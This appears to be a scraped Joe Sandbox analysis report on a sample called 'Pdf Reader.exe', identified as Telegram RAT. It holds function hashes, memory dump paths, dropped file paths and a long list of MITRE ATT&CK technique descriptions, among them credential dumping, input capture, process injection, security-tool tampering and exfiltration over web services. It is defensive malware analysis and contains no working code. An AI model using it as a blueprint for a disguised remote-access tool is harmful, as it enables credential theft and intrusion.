Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e4b31a5cd74789fb7c241c48ec115054e303f433d372734c10d6385562526fe
Instruction ID: 397821c861a5bb5eb32c9de535c3cef71e9639719a9c2f0a26c9464c187d00e9
Opcode Fuzzy Hash: 1e4b31a5cd74789fb7c241c48ec115054e303f433d372734c10d6385562526fe
Instruction Fuzzy Hash: 3F11E991B0D68A5EE758DBAC48756F9BBD0EF98340F4502FED099C31F2EE2824158350

Function 00007FFD9B7DB8EE Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c032d02f95c9dcbd1ffd58311ab2d676bd2f31aaa52362bb8485b63210e8fe2
Instruction ID: 102da076f080a110335eeaf1f700e534aebc2117e103d51161534faa7e86c745
Opcode Fuzzy Hash: 0c032d02f95c9dcbd1ffd58311ab2d676bd2f31aaa52362bb8485b63210e8fe2
Instruction Fuzzy Hash: FE01263180D7CD8FD312DB6848691E9BFF0EF45240B0504EED499C7163D92815498301

Function 00007FFD9B7D3BA8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c63f7c794a0254af89e0eb0678068482400a1557204bdaf1b171a2f3814cc37f
Instruction ID: d0d226fc720cd08e573139c5130f7afb262a07b8080fcf80d3033c6cffe23ef0
Opcode Fuzzy Hash: c63f7c794a0254af89e0eb0678068482400a1557204bdaf1b171a2f3814cc37f
Instruction Fuzzy Hash: F5F05470919ACD5FE741FBB848694EABFF0DF46240B8444FAD49DCB096DA38549A8311

Function 00007FFD9B7DBDED Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab67b56ccfc7261c8a79fa613574919586ed11ce71f4779546dc25d659087bed
Instruction ID: f7330c05a92eb09083ff2064c814ba94de62e1faf229d54b2d469e68f889f20d
Opcode Fuzzy Hash: ab67b56ccfc7261c8a79fa613574919586ed11ce71f4779546dc25d659087bed
Instruction Fuzzy Hash: 5FE0C225F4580E09EB54B7B4683A9FDB259EFC4204FC2057AE12DC20DBCC1D25050281

Function 00007FFD9B7DB4FD Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69c6d06ec0263f5f2df66b5b0106c37080d032ab76cbc2fc7ca03d8faab896e6
Instruction ID: 03c25b40eed8a0b23f7126d2ca378a29616d398603ca264a755b6241b9ffa520
Opcode Fuzzy Hash: 69c6d06ec0263f5f2df66b5b0106c37080d032ab76cbc2fc7ca03d8faab896e6
Instruction Fuzzy Hash: CBE0C225F8590E09EB04B7B4283A9FDB25AEFC5204BC20976E12EC21DBCC1E25150181

Function 00007FFD9B7DDE6D Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3ca7825d9442dcd3e7f1d5dad354a1e49f73cfaa8379157352580c4f32e65c5
Instruction ID: a7c124ad7ec6e88663326f51b23178e42971a702161813c31d75e24ea683e4dc
Opcode Fuzzy Hash: c3ca7825d9442dcd3e7f1d5dad354a1e49f73cfaa8379157352580c4f32e65c5
Instruction Fuzzy Hash: 0CE02B25F8591E0DEB14B7B4683ADFDB25AEFC4204FC21576E42DC20DBCC1D25050281

Function 00007FFD9B7D3EC5 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f82858c09a567bc54c6267dcc8937a29a840dc03e11e15fdfe4c675f3f3c10
Instruction ID: 38518e29a5d660bbaed07a269abf52f03a3c3d9b7c1fc93bc2222db2c280217a
Opcode Fuzzy Hash: e8f82858c09a567bc54c6267dcc8937a29a840dc03e11e15fdfe4c675f3f3c10
Instruction Fuzzy Hash: B3D05E32F0480C4E9F90EA9860656FDB7E1DF88211F400136D10CD2191CD1514424341

Function 00007FFD9B7DF3DD Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc6b0a85da61f907f9e09cfe41817f4083882818f302b9cb7c1c59c6fbad65f6
Instruction ID: b6dd8725523e255ec2d0ca4d03c3b48eafa63fdacf3ef6f3164123cfe36b3f04
Opcode Fuzzy Hash: dc6b0a85da61f907f9e09cfe41817f4083882818f302b9cb7c1c59c6fbad65f6
Instruction Fuzzy Hash: B2D05E22B14C090B9388EABC486922532C3DF8A339B64C374A87DC32D9DE245C021312

Function 00007FFD9B7DBD3E Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ee0cddff5637949969fca18c06700e1e28ba84a5f50f80d1d5eaaa0626177d2
Instruction ID: 355b252e594e84a8188e345eec0dc18a62e5fb469eb988f561c802d26396f333
Opcode Fuzzy Hash: 4ee0cddff5637949969fca18c06700e1e28ba84a5f50f80d1d5eaaa0626177d2
Instruction Fuzzy Hash: B2E0EC3252CB4D4BC354DF58E4518DAB7A0FF94324F800B2EF09E821A5DB6892458682

Function 00007FFD9B7DB457 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f01fdf969835fc79a0257f5a7a49e5032453351eec923ff133c1a750d973aa6
Instruction ID: f94820077991f8eb18eaf6264ca04e2f950173a62260d8cb7b46a1ac9ed7b0f1
Opcode Fuzzy Hash: 7f01fdf969835fc79a0257f5a7a49e5032453351eec923ff133c1a750d973aa6
Instruction Fuzzy Hash: CBD05E3281CB0D4BC304DF14E8508DAB7A0FF88328F440B3DE0AE921E9DF6893858682

Function 00007FFD9B7DDDC7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc5e40f4a0d4685a2176f70005f9ed7b02dcf3e291a492e493eedb7f5e99a3f7
Instruction ID: 06021920791697c5917d6a47d450cb9cec75c1de4a3d0e01b651cee7cd3f504b
Opcode Fuzzy Hash: bc5e40f4a0d4685a2176f70005f9ed7b02dcf3e291a492e493eedb7f5e99a3f7
Instruction Fuzzy Hash: F7D05B3140C70947C344DF04D4504DAB7A0FF84324F400B7DE0AED51E5EF6893858682

Function 00007FFD9B7D3D0B Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a1e7157fde4b52702ead83a6b1bf17f15d74bec5890e2c4c5725d0e5ad880b
Instruction ID: 4d6f5a4a57c5c7cb03c5d4071a9415c767bcdb9e6b5f061f67b932d1f1372e5c
Opcode Fuzzy Hash: d7a1e7157fde4b52702ead83a6b1bf17f15d74bec5890e2c4c5725d0e5ad880b
Instruction Fuzzy Hash: F1D05E00B0D9D05BE344B3FC182EFADAAE1CF95300F1481B9E049831DBCC1858418352

Function 00007FFD9B7D3DB0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86179f9bcc89599a8518ae7a6d9a86305746fb09bf1c8219d5d6430654c23ca
Instruction ID: ad52402126d026f3d23b9acbee8901913db279f11c1e01ebc76351295e1fbb36
Opcode Fuzzy Hash: a86179f9bcc89599a8518ae7a6d9a86305746fb09bf1c8219d5d6430654c23ca
Instruction Fuzzy Hash: 6DD09E00F1D5C56BE345B3FC583ABAD6AE1DFC5240F5986F9A099835E7CC1C64468312

Function 00007FFD9B7D0F40 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 161e0b0602a2c54045d1aec016969767265d291558366853b79d75e5200cc0b0
Instruction ID: e5ba99401e2fa85c3d60ec0dda908f7cf0968c987b57b3300cf3a16739f4dfba
Opcode Fuzzy Hash: 161e0b0602a2c54045d1aec016969767265d291558366853b79d75e5200cc0b0
Instruction Fuzzy Hash: 8BD0A710F054090AE9D4F2B884A276831809F85344FC41124E00DC61EACC4C5854C302

Function 00007FFD9B7D0FB6 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1be275f827a5a0a820f66ea557f7df413be19772e67ade6ecccd9b46b44c33d3
Instruction ID: c43a51d3e202ce505dae410f191bef0a40d8617b9feceba1705dc45909f4f087
Opcode Fuzzy Hash: 1be275f827a5a0a820f66ea557f7df413be19772e67ade6ecccd9b46b44c33d3
Instruction Fuzzy Hash: DAC0123255C74D47D315A650F4619EEB360FFD1314F441B39E04B420A9ED5A6A59C682

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Pdf Reader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Pdf Reader.exe.log

C:\Users\user\AppData\Local\Temp\tmp6F88.tmp.dat

C:\Users\user\AppData\Local\Temp\tmp7016.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpBFB4.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpBFE4.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpBFF4.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD49B.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpD4BB.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpE8F4.tmp.dat

Windows Analysis Report
Pdf Reader.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre